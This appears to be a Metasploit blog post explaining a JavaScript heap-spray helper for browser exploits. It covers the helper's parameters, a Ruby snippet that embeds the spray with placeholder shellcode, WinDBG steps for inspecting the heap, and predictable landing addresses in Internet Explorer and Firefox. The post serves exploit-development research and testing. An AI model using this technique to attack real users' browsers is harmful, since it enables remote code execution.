The new heap spraying routine is written in JavaScript.   In order to use this, make sure to include the "Msf::Exploit::Remote::HttpServer::HTML" mixin, and then simply call the "js_property_spray" routine, which will return the sprayHeap() code that you can embed in your webpage.  The sprayHeap() function supports the following parameters:

 

ParameterDescription
shellcodeThe shellcode code to spray.  As an example, the input should be in this format:  unescape("%u4141%u4141").  Usually this means a ROP, plus the shellcode.
objIdOptional.  The ID for a <div> HTML tag.  If you don't supply this parameter, then the JavaScript will just generate a "div" element for you.
offsetOptional.  Padding to align the shellcode to some address you want.  The default is 0x104 bytes.
heapBlockSizeOptional. The allocation size you want.  Please note: if this size is too small, your shellcode will not remain at a predicable location in memory.  Default is 0x80000.
maxAllocsOptional. Number of allocations.  Please note: On IE10, if this is too low, then the shellcode won't be predicable enough, either.  The "sweet spot" in our experiment for now seems to be somewhere above 0x500.  The default value is 0x350.

 

def load_spray_html
     spray = js_property_spray #Load the heap spraying JavaScript

     html = %Q|
     <html>
     <head></head>
     <body>
     <script>
          #{spray}
          var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");
          sprayHeap({shellcode:s}); // Call the heap spray routine
          alert("Done!");
     </script>
     </body>
     </html>
     |

     return html
end

 

You may also download the test case here to try the heap spraying function:

https://gist.github.com/wchen-r7/89f6d6c8d26745e99e00

 

Examine the Heap Spray

 

In Internet Explorer, each iteration should generate two allocations that contain our data -- one happens when the substring() function is called, but this one will eventually get freed.  The other one is when the data is being assigned to the property, which will trigger a call to SetStringProperty (or SetProperty in IE9), and the data remains in memory.  All allocations can be found in the default process heap.

 

When the heap spray is done, you can simply do this in the debugger:

 

!heap -stat -h

 

WinDBG should give you a list of allocations under the default process heap, something like this:

 

Screen shot 2013-03-01 at 3.50.43 PM.png

 

Since the default value for heapBlockSize is 0x80000, and the default for maxAllocs is 0x350, it's evident that our spray is working properly.  To dump all these allocations, simply do:

 

!heap -flt s 0x80000

 

And then you will see something liket his:

 

Screen shot 2013-03-01 at 2.05.17 PM.png

 

Notice all the heap entries end with XXXXXX18, which looks like a predictable pattern.  When the allocation pattern is predictable, that indicates your payload should remain in a predicable location, too.  Now, to inspect the data, here's what you can do.... let's pick the last entry:

 

db 2b108018

 

Screen shot 2013-03-01 at 2.06.21 PM.png

 

You will see that this points to a field of 0x20s, that means we're looking at the junk padding of the spray.  At this point you're probably wondering where the data is, right?  One simple thing you can do in WinDBG is go to "View" -> "Memory", and then enter the heap entry address (in our case, again, it's 0x2b108018), and that'll show you a nice memory dump which allows you to scroll up/down to find your data.  Like this:

 

Screen shot 2013-03-01 at 2.02.35 PM.png

 

As a reference, the default spray should also land your data at address 0x20302020 in Internet Explorer, but you'll need around 0x500 iterations for IE 10 just to make sure.  We have also learned that address 0x0c0d0228 seems to be a reliable place, too.  In Firefox, the same data can be seen at 0x20302210.  To experiment this yourself, you may simply gather test results and compare them by using mona.py.

 

"js_property_spray" can also be used to manipulate LFH (Low-Fragmentation Heap) allocations.  I recommend to read up Chris Valasek's paper on "Understanding the Low Fragmentation Heap" before trying it out yourself.

 

To try out this new technique, please make sure to update your Metasploit repository to get the latest changes.  If you've never tried Metasploit before, you can download it here:

http://www.metasploit.com/download/

Filter Blog

By date: By tag: